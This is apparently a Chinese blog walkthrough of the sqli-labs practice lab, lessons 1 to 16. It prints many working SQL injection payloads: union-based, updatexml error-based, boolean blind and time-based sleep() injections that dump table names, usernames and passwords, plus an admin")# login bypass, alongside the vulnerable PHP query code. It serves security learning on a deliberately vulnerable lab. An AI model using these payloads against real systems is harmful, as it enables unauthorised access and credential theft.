此处考虑两个点,一个是闭合前面你的 ’ 另一个是处理后面的 ’ ,一般采用两种思路,闭合后面的引号或者注释掉,注释掉采用–+ 或者 #(%23)
单引号报错
http://127.0.0.1/sqli-labs-master/Less-1/?id=1’
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
首先爆字段数,order by,一般从5开始试,order by 3 返回正常,即字段数是3.
http://192.168.130.1/sqli-labs-master/Less-1/?id=1’ order by 3 --+
通过设置参数ID的值,让服务器返回union select的结果,把ID的值设为-1时,可以看到数据库中没有id=-1的数据,所以就会返回union select的结果。
http://192.168.130.1/sqli-labs-master/Less-1/?id=-1’ UNION SELECT 1,2,3
返回2,3,即在2,3是非数字字段,可以输入MySQL语句,爆一下数据库名
http://192.168.130.1/sqli-labs-master/Less-1/?id=-1’ UNION SELECT 1,2,database() --+
可以看到数据库名为security,接下来查询表M,ysql有一个系统数据库information_schema,存储着所有的数据库的相关信息,一般的,我们利用该表可以进行一次完整的注入,group_concat是一个函数,当然你也可以用其他函数,这句话的意思就是从information_schema这个库里查security这个数据库里的所有表。
http://192.168.130.1/sqli-labs-master/Less-1/?id=-1’ UNION SELECT
1,2,group_concat(table_name) from information_schema.tables where table_schema=‘security’ --+
可以看到这里一共有四个表,显然users是用户数据表。
接着查询列名,表是table,列是column,这句话的意思是查询users这个表名下的所有列名
http://192.168.130.1/sqli-labs-master/Less-1/?id=-1’ UNION SELECT
1,2,group_concat(column_name) from information_schema.columns where
table_name=‘users’ --+
有很多列,明显知道账号和密码在username和password。
最后查看值,这里的0x7e,是ascii中的 ~,可以把账号和密码分开,也可以用其他的
http://192.168.130.1/sqli-labs-master/Less-1/?id=-1’ UNION SELECT 1,2,group_concat(username,0x7e,password) from users --+
### 奇淫技巧
or 1=1 或者 and 1=1等直接爆密码,但只能爆出一组。
http://192.168.130.1/sqli-labs-master/Less-1?id=1 or 1=1
Less-1~Less-4都可以利用上述union联合注入,下面就不进行赘述了。
首先输入单引号测试一下
http://192.168.130.1/sqli-labs-master/Less-1/?id=1’
可以看到是奇数个单引号破坏了查询,提示我们语法错误。
看一下PHP源码,对id没有做任何处理。
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
这里演示一下手工报错注入,当然也可以union联合查询注入,利用函数updatexml获取user的值,concat的用法是把几个字符串连成一个字符。
http://192.168.130.1/sqli-labs-master/Less-2/?id=1 and updatexml(1,concat(0x7e,(select user()),0x7e),1) --+
http://192.168.130.1/sqli-labs-master/Less-2/?id=1 and updatexml(1,concat(0x7e,(select database()),0x7e),1) --+
http://192.168.130.1/sqli-labs-master/Less-2/?id=1 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=‘security’),0x7e),1) --+
http://192.168.130.1/sqli-labs-master/Less-2/?id=1 and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=‘users’ ),0x7e),1) --+
查询表名,因为报错注入只会显示一行结果,所以要用(not in )意思就是除了这些其他的,可以看到账号和密码表名分别是username,password。
http://192.168.130.1/sqli-labs-master/Less-2/?id=1 and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=‘users’ and column_name not in (‘user_id’,‘first_name’,‘last_name’,‘us’)),0x7e),1) --+
http://192.168.130.1/sqli-labs-master/Less-2/?id=1 and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=‘users’ and column_name not in (‘user_id’,‘first_name’,‘last_name’,‘us’,‘user’,‘password’,‘avatar’,‘last_login’)),0x7e),1) --+
http://192.168.130.1/sqli-labs-master/Less-2/?id=1 and updatexml(1,concat(0x7e,(select group_concat(username,0x7e,password) from users ),0x7e),1) --+
爆出了两组账号和密码(Dumb/Dumb,Angelina/I-kill-you),继续爆其他的。
http://192.168.130.1/sqli-labs-master/Less-2/?id=1 and updatexml(1,concat(0x7e,(select group_concat(username,0x7e,password) from users where username not in (‘Dumb’,‘I-kill-you’)),0x7e),1) --+
以此类推,爆出全部账号和密码。
Less-1~Less-4都可以利用上述报错注入,下面就不进行赘述了。
or 1=1 或者 and 1=1等直接爆密码,但只能爆出一组。
http://192.168.130.1/sqli-labs-master/Less-2?id=1 or 1=1
使用?id=1’时,出现一个错误
http://192.168.130.1/sqli-labs-master/Less-3?id=1’
可以发现id被(’’)包裹
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
所以我们再用这样的代码来进行注入:?id=1) --+,后面的查询可以直接被注释掉。
这里用?id=1"(此处是一个双引号)
http://192.168.130.1/sqli-labs-master/Less-4/?id=1"
$id = '"' . $id . '"';
$sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";
注入一下,就可以得到用户名和密码,同时后面查询也被注释掉了。
http://192.168.130.1/sqli-labs-master/Less-4/?id=1") --+
从源代码可以看出,当结果正确时只返回‘You are in…’,不会返回数据库中的信息,所以要盲注。
何为盲注?盲注就是在sql注入过程中,sql语句执行的选择后,选择的数据不能回显到前端页面。此时,我们需要利用一些方法进行判断或者尝试,这个过程称之为盲注。
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
echo '';
echo 'You are in...........';
echo "
";
echo "";
}
http://192.168.130.1/sqli-labs-master/Less-5?id=1’ and left(version(),1)=5 --+
我们用基于布尔的SQL盲注,这同样也适用于less-6,首先看一下内核版本号,数据库内核版本号是5.6.17,这句话的意思是判断最左边的第一个字符看它是不是5,可以看到返回正确
当内核版本号不正确是就不能返回“You are in …”
http://192.168.130.1/sqli-labs-master/Less-5?id=1’ and left(version(),1)=8 --+
http://192.168.130.1/sqli-labs-master/Less-5?id=1’ and length(database())=8 --+
当长度为8时,返回“You aer in…”
先猜测数据库第一字符
http://192.168.130.1/sqli-labs-master/Less-5?id=1’ and left(database(),1)>‘a’ --+
这句话的意思是判断左边第一个字符看它是否大于a这个字符,返回“You are in…”正确,接着看第一个字符是否…>‘m’,这种方法是二分法,可以提高注入效率
最后猜测第一位字符是s,接着猜测第二位
http://192.168.130.1/sqli-labs-master/Less-5?id=1’ and left(database(),2)>‘sa’ --+
这句话的意思是,返回最左边的两个字符,看它是否大于sa,以此类推,最后猜的第二个字符是e
接着猜测第三位,一直到第八位,最后猜测的数据库名称是security。
爆表payload
http://192.168.130.1/sqli-labs-master/Less-5?id=1’ and left((select table_name from information_schema.tables where table_schema=‘security’ limit 1,1),1)>‘a’ --+
如果我们可以把一个数据库看作是一个逆矩阵,(1,1中第一个1代表列,第二个数字代表行),那么“limit 1,1”的意思就是第一列第一行的表,同理“limit 1,2”的意思就是第一列第二行的表,所以这句话的意思就是判断第一列第一行这个表的最左边字符是否大于a,大于的话就返回“You are in …”
作之最后判断的第三列第一行的表为‘users’
http://192.168.130.1/sqli-labs-master/Less-5?id=1’ and left((select table_name from information_schema.tables where table_schema=‘security’ limit 3,1),5)=‘users’ --+
http://192.168.130.1/sqli-labs-master/Less-5?id=1’ and left((select column_name from information_schema.columns where table_name=‘users’ limit 4,1),8)=‘password’ --+
http://192.168.130.1/sqli-labs-master/Less-5?id=1’ and left((select column_name from information_schema.columns where table_name=‘users’ limit 9,1),8)=‘username’ --+
http://192.168.130.1/sqli-labs-master/Less-5?id=1’ and left((select password from users order by id limit 0,1),1)>‘a’ --+
这里order by是用于指定的列对结果集进行排序,默认升序,,注意这里limit是从0开始的,,最后爆出第一个密码是dumb
同理爆出第一个用户名是dumb
http://192.168.130.1/sqli-labs-master/Less-5?id=1’ and left((select username from users order by id limit 0,1),4)=‘dumb’ --+
从源代码可以看到在id参数传到服务器时,对id参数做了处理,那么只需将less-5的’改为’'即可。
注意:此处’'是两个单引号而不是一个双引号。
$id = '"'.$id.'"';
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
echo '';
echo 'You are in...........';
echo "
";
echo "";
}
我们用基于时间的SQL盲注来注入一下,当然也适用于less-5,首先看一下内核版本号的第一位,其他的payload可以仿照less-5
http://192.168.130.1/sqli-labs-master/Less-6?id=1'' and left(version(),1)=5 #
经过测试发现,'and 1=1–+ 返回正常,看了源码我们发现,它与less-5有所不同,此处报错语句被注释,故不能用报错注入。
{
echo '';
//echo 'You are in...........';
//print_r(mysql_error());
//echo "You have an error in your SQL syntax";
echo "";
echo '';
}
这里简单测试一下它的内核版本号第一位是否为5
http://192.168.130.1/sqli-labs-master/Less-8/?id=1' and left(version(),1)=5--+
从源代码中看到SQL语句
@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";
其他斗没有回显,延时注入吧
布尔测试payload
uname=admin' and 1=1 --+&passwd=admin&submit=Submit //成功
uname=admin' and 1=2 --+&passwd=admin&submit=Submit //失败
延时注入测试payload,可以很明显看到此处时间延迟5秒左右
uname=admin' and sleep(4) --+ &passwd=admin&submit=Submit
测试数据库长度是否为8,如果长度是8的话,延迟时间将是5秒左右
uname=admin' and if(length(database())=8,sleep(4),1) --+ &passwd=admin&submit=Submit
判断数据库最左边第一个字符是否大于a,如果大于a的话,延迟时间将是5秒左右
uname=admin' and if(left(database(),1)>'a',sleep(4),1) --+ &passwd=admin&submit=Submit
经测试,最左边第一个字符是s,以此类推,继续判断第2,3…8个字符,最后得到数据库名称是security。
爆表,判断第一个表的最左边字符是否大于a,如果大于a的话,延迟时间将是5秒左右
uname=admin' and if(left((select table_name from information_schema.tables where table_schema='security' limit 1,1),1)>'a',sleep(4),1) --+ &passwd=admin&submit=Submit
uname=admin' and if(left((select table_name from information_schema.tables where table_schema='security' limit 3,1),5)='users',sleep(4),1) --+ &passwd=admin&submit=Submit
爆列,判断users下的第一个列名的最左边字符是否大于a,如果大于a的话,延迟时间将是5秒左右
uname=admin' and if(left((select column_name from information_schema.columns where table_name='users' limit 1,1),1)>'a',sleep(4),1) --+ &passwd=admin&submit=Submit
接着判断其他列名,发现第四个列名是password
第九个列名是username
uname=admin' and if(left((select column_name from information_schema.columns where table_name='users' limit 9,1),8)='username',sleep(4),1) --+ &passwd=admin&submit=Submit
接着判断值,首先判断第一个值最左边第一位是否大于a,如果大于a的话,延迟时间将是5秒左右。
limit 的使用格式为limit m,n ,其中m是值记录开始的位置,从0开始,表示第一条记录;n是值取几条记录。例如limit 0,1表示从第一条记录开始,取一条记录。
uname=admin' and if(left((select password from users order by id limit 0,1),1)>'a',sleep(4),1) --+ &passwd=admin&submit=Submit
uname=admin' and if(left((select password from users order by id limit 0,1),4)='dumb',sleep(4),1) --+ &passwd=admin&submit=Submit
uname=admin' and if(left((select username from users order by id limit 0,1),4)='dumb',sleep(4),1) --+ &passwd=admin&submit=Submit
从源代码可以看到对id进行(“id”)进行了处理。
$uname='"'.$uname.'"';
$passwd='"'.$passwd.'"';
@$sql="SELECT username, password FROM users WHERE username=($uname) and password=($passwd) LIMIT 0,1";
法一
万能账号绕过密码验证:admin")#,成功登陆。
法二 延时注入
延时测试
uname=admin") and sleep(4) --+ &passwd=V&submit=Submit
其他与less-15相同,只需把admin’替换为admin")既可,这里不做演示。